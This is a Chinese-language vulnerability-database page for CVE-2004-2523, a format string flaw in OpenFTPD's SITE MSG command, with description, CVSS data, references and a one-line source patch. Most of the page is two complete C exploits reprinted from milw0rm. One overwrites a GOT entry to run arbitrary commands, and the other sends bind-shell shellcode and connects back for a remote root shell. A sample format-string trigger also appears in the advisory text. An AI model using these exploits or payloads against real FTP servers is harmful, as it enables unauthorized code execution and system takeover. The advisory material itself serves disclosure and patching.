CVE-2004-2523
CVSS6.5
发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 16:44:22
NMCOE    

[原文]Format string vulnerability in the msg command (cat_message function in msg.c) in OpenFTPD 0.30.2 and earlier allows remote authenticated users to execute arbitrary code via format string specifiers in the message argument.


[CNNVD]OpenFTPD远程格式串处理导致任意指令执行漏洞(CNNVD-200412-802)

        
        openftpd是一款开放源代码FTPD程序。
        openftpd不正确处理部分命令参数,远程攻击者可以利用这个漏洞进行格式串攻击,可能以进程权限在系统上执行任意指令。
        问题存在于'misc/msg.c'文件中,攻击者提交如下的命令格式:
        site msg send andi "AAAA%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x]"
        可触发格式串问题,破坏内存信息,精心构建提交数据可能以openftpd进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 6.5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:openftpd:openftpd_ftp_server:0.29.4
cpe:/a:openftpd:openftpd_ftp_server:0.30.2
cpe:/a:openftpd:openftpd_ftp_server:0.30
cpe:/a:openftpd:openftpd_ftp_server:0.30.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2523
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2523
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-802
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/10830
(PATCH)  BID  10830
http://securitytracker.com/id?1010823
(PATCH)  SECTRACK  1010823
http://secunia.com/advisories/12174
(VENDOR_ADVISORY)  SECUNIA  12174
http://archives.neohapsis.com/archives/bugtraq/2004-07/0350.html
(PATCH)  BUGTRAQ  20040729 [VSA0402] OpenFTPD format string vulnerability
http://xforce.iss.net/xforce/xfdb/16843
(UNKNOWN)  XF  openftpd-ncftpformat-string(16843)
http://www.osvdb.org/8261
(UNKNOWN)  OSVDB  8261
http://www.openftpd.org:9673/openftpd
(UNKNOWN)  CONFIRM  http://www.openftpd.org:9673/openftpd
http://archives.neohapsis.com/archives/bugtraq/2004-08/0017.html
(UNKNOWN)  BUGTRAQ  20040803 EXPLOIT for Re: [VSA0402] OpenFTPD format string vulnerability

- 漏洞信息

OpenFTPD远程格式串处理导致任意指令执行漏洞
中危 输入验证
2004-12-31 00:00:00 2006-01-24 00:00:00
远程  
        
        openftpd是一款开放源代码FTPD程序。
        openftpd不正确处理部分命令参数,远程攻击者可以利用这个漏洞进行格式串攻击,可能以进程权限在系统上执行任意指令。
        问题存在于'misc/msg.c'文件中,攻击者提交如下的命令格式:
        site msg send andi "AAAA%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x]"
        可触发格式串问题,破坏内存信息,精心构建提交数据可能以openftpd进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        OpenFTPD
        --------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页升级到最新的CVS版本:
        
        http://www.openftpd.org:9673/openftpd

        cat > openftpd_formatstring.patch << _EOF_
        --- openftpd-daily.orig/src/misc/msg.c 2004-07-05 22:02:43.000000000 +0200
        +++ openftpd-daily/src/misc/msg.c 2004-07-13 18:05:01.000000000 +0200
        @@ -319,7 +319,7 @@
         while (fgets(buff, 67, file)) {
         if (*(buff+strlen(buff)-1) =3D=3D '\n') *(buff+strlen(buff)-1) =3D 0;
         sprintf(str, " !C| !0%-66s !C|!0\n", buff);
        - printf(str);
        + printf("", str);
         }
         fclose(file);
         printf("!C \\__________________________________________________!Hend =
        of message!C__/!0\n");
        _EOF_

- 漏洞信息 (372)

OpenFTPD (<= 0.30.2) Remote Exploit (EDBID:372)
linux remote
2004-08-03 Verified
21 andi
N/A [点击下载]
/***********************************************************
* hoagie_openftpd.c
* LINUX/X86 OPENFTPD REMOTE EXLPOIT (<= 0.30.2)
*
* "
* Searching for those warez ftpd's out there and 
* leeching 'free' movies
* "
*
* Remote Linux/OpenFTPD exploit for the format string bug
* in the message system. This vulnerability was rediscovered 
* by a VOID.AT.
*
* HOWTO get the offsets
* andi@denkmal:~$ gdb ~/openftpd/bin/msg
* ...
*
* (gdb) x/i fgets
* 0x8048ae4 <fgets>: jmp *0x804db90
* ^^^^^^^^^
* the first one
* (gdb) break main
* Breakpoint 1 at 0x804bd05
* (gdb) r
* Starting program: /home/andi/openftpd/bin/msg
* [Thread debugging using libthread_db enabled]
* [New Thread 16384 (LWP 29479)]
* [Switching to Thread 16384 (LWP 29479)]
*
* Breakpoint 1, 0x0804bd05 in main ()
* (gdb) x/i system
* 0x40071c40 <system>: push %ebp
* ^^^^^^^^^^
* the second addresss 
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
* 
************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

enum EXPLOITSTATE { SENDUSER, SENDPASS, DELMESSAGE, PURGEMESSAGE, SENDMESSAGE, READMESSAGE, READING };

struct target_t {
char *sys;
char *libc;
int fgetsgot;
int system;
};

struct target_t targets[] = {
{ "Debian unstable", "2.3.2", 0x804db90, 0x40072c40 },
{ NULL, 0, 0 }
};

int connectserver(int *s, char *host, int port) {
struct sockaddr_in s_in;
struct hostent *he;
char *ip;

if ( (*s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
fprintf(stderr,"[*] can't create TCP socket\n");
return -1;
}

memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);

if ( (he = gethostbyname(host)) != NULL)
memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
else {
if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
return -3;
}
} 

if (connect(*s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
fprintf(stderr,"[*] can't connect to %s:%d\n", host, port);
return -4;
}
return 0;
}

int sendlogin(int s, char *username) {
char tmp[2048] = "";

snprintf(tmp, sizeof(tmp), "USER %s\n", username);
return write(s, tmp, strlen(tmp));
}

int sendpassword(int s, char *password) {
char tmp[2048] = "";

snprintf(tmp, sizeof(tmp), "PASS %s\n", password);
return write(s, tmp, strlen(tmp));
}

int purgemessage(int s) {
char tmp[2048] = "";

snprintf(tmp, sizeof(tmp), "SITE MSG PURGE\n");
return write(s, tmp, strlen(tmp));
}

int delmessage(int s) {
char tmp[2048] = "";

snprintf(tmp, sizeof(tmp), "SITE MSG DEL ALL\n");
return write(s, tmp, strlen(tmp));
}

int sendexploit(int s, char *username, int idx, char *exec) {
int i;
char tmp[4096], execcode[68], writecode[68];
unsigned short high, low, count1, count2;
int addr1, addr2;

high = targets[idx].system >> 16 & 0xFFFF;
low = targets[idx].system & 0xFFFF;

if (high > low) {
count1 = low;
count2 = high;
addr1 = targets[idx].fgetsgot;
addr2 = targets[idx].fgetsgot + 2;
} else {
count1 = high;
count2 = low;
addr1 = targets[idx].fgetsgot + 2;
addr2 = targets[idx].fgetsgot;
}

if (exec) {
strcpy(execcode, exec);
}
if (strlen(execcode) < 32) {
do {
strcat(execcode, "_");
} while (strlen(execcode) < 32);
}

/* calc count1:
*
* 1.) string will be stored in str => sprintf(str, " !C| !0%-66s !C|!0\n", buff);
* so we have to subtract 8 bytes from count1 (=> strlen("" !C| !0"))
* 2.) the next data will be our string for system call 
* so we have to subtract strlen(execcode) from count1
* 3.) at least we have to subtract 8 bytes for the two addresses that are 
* used for writing (%hn)
*/
count1 -= (strlen(execcode) + 16);
snprintf(writecode, sizeof(writecode), 
"%c%c%c%c%c%c%c%c%%%du%%18$hn%%%du%%19$hn",
addr1 & 0xFF, (addr1 >> 8) & 0xFF, (addr1 >> 16) & 0xFF, (addr1 >> 24) & 0xFF,
addr2 & 0xFF, (addr2 >> 8) & 0xFF, (addr2 >> 16) & 0xFF, (addr2 >> 24) & 0xFF,
count1, count2 - count1 - 0x30);
snprintf(tmp, sizeof(tmp), "SITE MSG SEND %s %s%s\n", username, execcode, writecode);
printf("[*] len: %d, sending code [%s]\n", strlen(execcode) + strlen(writecode), tmp);
return write(s, tmp, strlen(tmp));
}

int readmessage(int s) {
char tmp[2048] = "";

snprintf(tmp, sizeof(tmp), "SITE MSG READ\n");
return write(s, tmp, strlen(tmp));
}

int attack(int s, char *user, char *password, int idx, char *exec) {
fd_set fs;
int selret, state, len, code;
char buffer[2048] = "";

FD_ZERO(&fs);
FD_SET(s, &fs);

state = SENDUSER;

do {
selret = select(s + 1, &fs, NULL, NULL, NULL);
if (selret > 0 && FD_ISSET(s, &fs)) {
memset(buffer, 0, sizeof(buffer));
len = read(s, buffer, sizeof(buffer));
printf("<<< %s\n", buffer);
sscanf(buffer, "%d", &code);
switch(state) {
case SENDUSER: sendlogin(s, user);
state = SENDPASS;
break;
case SENDPASS: sendpassword(s, password);
state = DELMESSAGE;
break;
case DELMESSAGE: delmessage(s);
state = PURGEMESSAGE;
break;
case PURGEMESSAGE: purgemessage(s);
state = SENDMESSAGE;
break;
case SENDMESSAGE: if (code > 500) {
fprintf(stderr, "[*] login failed\n");
len = -1;
} else if (code == 230) {
fprintf(stderr, "[*] sending exploit code ...\n");
sendexploit(s, user, idx, exec);
state = READMESSAGE;
}
break;
case READMESSAGE: sleep(5);
readmessage(s);
state = READING;
break; 
case READING: if (code == 200 && strstr(buffer, "00000") && strstr(buffer, exec)) {
printf("[*] done\n");
}
break;
}
}
} while (len > 0);
}

void helpme(int argc, char **argv) {
int i;

printf("hoagie_openftpd - openftpd < 0.30.2 x86/linux remote\n");
printf("-andi / void.at\n\n");
printf("usage: %s -h hostname:port -u username -p password -t target -e command\n", argv[0]);
printf("\n\nexample:\n");
printf("%s -u localhost:21 -u anonymous -t 0 -e \"id > /tmp/0wned\"\n");
printf("\ntargets:\n");
for (i = 0; targets[i].sys != NULL; i++) {
printf("%d %s (libc: %s): 0x%0x 0x%0x\n", i, targets[i].sys, targets[i].libc, targets[i].fgetsgot, targets[i].system);
}
}

int main(int argc, char **argv) {
char optchar, *exec = NULL, server[512] = "", *username = NULL, *password = NULL;
int s, retval = -1, port, target = 0;

if (argc < 2) {
helpme(argc, argv);
} else {
while ( (optchar = getopt(argc, argv, "h:t:u:p:e:")) != EOF ) {
switch(optchar) {
case 'h': sscanf(optarg, "%[^:]:%d", server, &port);
break;
case 'u': username = optarg;
break;
case 'p': password = optarg;
break;
case 't': target = atoi(optarg);
break;
case 'e': exec = optarg;
break;
}
}

if (!strcmp(server, "")) {
strcpy(server, "127.0.0.1");
port = 21;
}

if (!username) {
username = "anonymous";
}

if (!password) {
password = "freak@kaefig.com";
}

if (!exec) {
exec = "id; killall msg; ";
}

fprintf(stderr, "[*] connecting %s:%d (%s/%s)...\n", server, port, username, password);
if (!connectserver(&s, server, port)) {
retval = attack(s, username, password, target, exec);
close(s);
}
}

return retval;
}

// milw0rm.com [2004-08-03]
		

- 漏洞信息 (373)

OpenFTPD <= 0.30.1 (message system) Remote Shell Exploit (EDBID:373)
linux remote
2004-08-04 Verified
21 infamous41md
N/A [点击下载]
/*
 * shouts to mitakeet :D
 *
 * exploit for openftpd format string bug. tested on most current version only.
 *  -infamous42md AT hotpop DOT com is real email
 *
 * only tricky part is find a place to stick the shell, as there isn't enough
 * room to send it with the format string.  thankfully when using the 'site msg'
 * commands, all of the args to command are passed directly through to the msg
 * program. so when we tell ftpd to read messages with 'site msg read X', we
 * pass the shellcode as X.  the jumpslot for fclose() gets hijacked, and the
 * retaddr lies early in stack, it's argv[3].
 * no values are hardcoded into sploit, all come from command line, this works
 * for me on slack 9:
 *
 * [n00b localho outernet] ./openf -u root -p "" -l 0x0804d8b8 -r 0xbffff9d4 -h
 * localho -o 6969 -a 2 -b 18
 * connected to localho
 * Logged in as root
 * Exploit sent
 * connected to localho
 * got a shell
 *
 * id
 * uid=0(root) gid=0(root)
 * groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 *  - Connection closed by user
 *
 *  Usage: ./openf
 *          [ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]
 *          [ -b parms base ] [ -h host ] [ -o port ] [ -a align ]
 *  
 * */
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>

#define SLOP 8
#define NOP 0x90
#define BS 0x1000
#define SBS 512
#define SHELL_PORT 7000
#define die(x) do{ perror(x); exit(1); }while(0)

typedef struct __args {
    char *user, *pass;
    char *host;
    u_short port;
    u_long retloc, retaddr;
    int parms_base; /* distance to the dummy param */
    int align;
} args;

/* call them shell code */
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char *usage =
    "\t[ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]\n"
    "\t[ -b parms base ] [ -h host ] [ -o port ] [ -a align ]\n";

void parse_args(int argc, char **argv, args * argp)
{
    int c;

    while ((c = getopt(argc, argv, "a:u:p:l:r:b:h:o:")) != -1) {
	switch (c) {
	case 'a':
	    if ((argp->align = atoi(optarg)) < 0 || argp->align > 3)
		goto pusage;
	    break;
	case 'u':
	    argp->user = optarg;
	    break;
	case 'p':
	    argp->pass = optarg;
	    break;
	case 'l':
	    sscanf(optarg, "%lx", &argp->retloc);
	    break;
	case 'r':
	    sscanf(optarg, "%lx", &argp->retaddr);
	    break;
	case 'h':
	    argp->host = optarg;
	    break;
	case 'o':
	    argp->port = atoi(optarg);
	    break;
	case 'b':
	    if ((argp->parms_base = atoi(optarg)) > 0)
		break;
	    /*
	     * fall thru 
	     */
	  pusage:
	case ':':
	case '?':
	default:
	    fprintf(stderr, "Usage: %s\n%s", argv[0], usage);
	    exit(1);
	}
    }
    if (optind != argc || !argp->user || !argp->pass || !argp->retloc ||
	!argp->retaddr || !argp->host || !argp->port || !argp->parms_base)
	goto pusage;
}

int conn(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
	herror("ghbn");
	die("bla");
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)
	die("socket");

    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
	die("connect");

    printf("connected to %s\n", host);
    return sock;
}

void login(char *user, char *pass, int sock)
{
    char ubuf[BS], pbuf[BS];

    snprintf(ubuf, BS - 1, "USER %s\r\n", user);
    ubuf[BS - 1] = 0;
    snprintf(pbuf, BS - 1, "PASS %s\r\n", pass);
    pbuf[BS - 1] = 0;

    sleep(1);
    if (send(sock, ubuf, strlen(ubuf), 0) < 0)
	die("send");
    sleep(1);
    if (send(sock, pbuf, strlen(pbuf), 0) < 0)
	die("send");
    sleep(1);
    printf("Logged in as %s\n", user);
}

void get_fmt(args * argp, char *fb)
{
    u_short high, low;
    ulong retloc = argp->retloc, slop = 0;
    int dummy = argp->parms_base, len = 0;

    /* bytes printed before us */
    slop = SLOP + argp->align;

    /* ret addr */
    low = (argp->retaddr & 0xffff);
    high = argp->retaddr >> 16;

    /* adjust ret addr words */
    if (low > high)
	high += (0x10000 - low);
    else if (high > low)
	high -= low;
    else if (high == low) {
	fprintf(stderr, "Can't encode a NULL high retaddr, bailing\n"
		"high = %hx\tlow = %hx\n", high, low);
	die("adsf");
    }

    low -= slop;

    /* align */
    memset(fb, 'A', argp->align);
    fb[argp->align] = 0;

    /* write code 
     * fmt look like: 
     * ALIGN-write_code-dummy-addr1-addr2-low_retaddr-high_retaddr
     */
    sprintf(fb,
	    /*   retL         writeL    retH         writeH */
	    "%s" "%%%d$*%d$u" "%%%d$hn" "%%%d$*%d$u" "%%%d$hn",
	    fb, dummy, dummy + 3, dummy + 1, dummy, dummy + 4, dummy + 2);

    /* args */
    strcat(fb, "1111");		/* dummy */
    len = strlen(fb);
    *(u_int *) (fb + len) = retloc;	/* write 1 */
    len += sizeof(retloc);
    *(u_int *) (fb + len) = retloc + 2;	/* write 2 */
    len += sizeof(retloc);
    *(u_short *) (fb + len) = low;	/* ret low */
    *(u_short *) (fb + len + 2) = 0x0101;	/* can't be 0 */
    len += sizeof(retloc);
    *(u_short *) (fb + len) = high;	/* ret high */
    *(u_short *) (fb + len + 2) = 0x0101;	/* can't be 0 */
    len += sizeof(retloc);

    fb[len] = 0;
}

void sploit(args * argp, int sock)
{
    char buf[BS], fmt[BS], sb[BS];

    /* setup shell buf */
    memset(sb, NOP, BS);
    strncpy(sb + 100, sc, BS - 101);
    sb[BS - 1] = 0;

    get_fmt(argp, fmt);

    /* slip them the poison */
    snprintf(buf, BS - 1, "site msg send %s %s\r\n", argp->user, fmt);
    buf[BS - 1] = 0;
    if (send(sock, buf, strlen(buf), 0) < 0)
	die("send");

    sleep(5);

    /* and make them eat it */
    snprintf(buf, BS - 1, "site msg read %s\r\n", sb);
    buf[BS - 1] = 0;
    if (send(sock, buf, strlen(buf), 0) < 0)
	die("send");

    printf("Exploit sent\n");
    sleep(1);
}

void shell(char *host, u_short port)
{
    int sock = 0, l = 0;
    char buf[BS];
    fd_set rfds;

    sock = conn(host, port);

    printf("got a shell\n\n");
    FD_ZERO(&rfds);

    while (1) {
	FD_SET(STDIN_FILENO, &rfds);
	FD_SET(sock, &rfds);

	if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
	    die("select");

	if (FD_ISSET(STDIN_FILENO, &rfds)) {
	    if ((l = read(0, buf, BS)) <= 0)
		die("\n - Connection closed by user\n");
	    if (write(sock, buf, l) < 1)
		die("write");
	}

	if (FD_ISSET(sock, &rfds)) {
	    l = read(sock, buf, sizeof(buf));

	    if (l == 0)
		die("\n - Connection terminated.\n");
	    else if (l < 0)
		die("\n - Read failure\n");

	    if (write(1, buf, l) < 1)
		die("write");
	}
    }
}

int main(int argc, char **argv)
{
    int sock = 0;
    args args;

    memset(&args, 0, sizeof(args));
    parse_args(argc, argv, &args);
    sock = conn(args.host, args.port);
    login(args.user, args.pass, sock);
    sploit(&args, sock);
    close(sock);
    sleep(20);
    shell(args.host, SHELL_PORT);

    return 0;
}

// milw0rm.com [2004-08-04]
		

- 漏洞信息

8261
OpenFTPD SITE MSG FTP Command Format String
Local Access Required, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local format string flaw exists in OpenFTPD. The SITE MSG command fails to validate user input resulting in a format string error. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2004-07-22 2004-04-02
2004-07-22 Unknow

- 解决方案

Upgrade to version 0.30.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站